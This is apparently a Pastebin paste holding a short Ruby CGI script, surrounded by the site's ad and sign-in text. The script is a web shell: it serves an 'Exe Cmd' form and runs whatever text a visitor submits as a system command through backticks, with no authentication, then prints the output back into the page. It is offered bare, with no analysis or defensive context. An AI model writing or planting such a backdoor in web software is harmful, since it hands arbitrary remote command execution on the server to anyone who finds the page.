Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!C:\Ruby\bin\ruby.exe
- require 'cgi'
- cgi = CGI.new
- puts cgi.header
- cmd=cgi['cmd']
- fo=cgi['go']
- print"<center><b>Exe Cmd</b><form method='post'> <input type='text' size='40' name='cmd'><br><input type='submit' name='go'></form><br>";
- if cgi['go']
- puts "<textarea cols='80' rows='20' redonly> "
- print `#{cmd}`
- print "</textarea><br>"
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement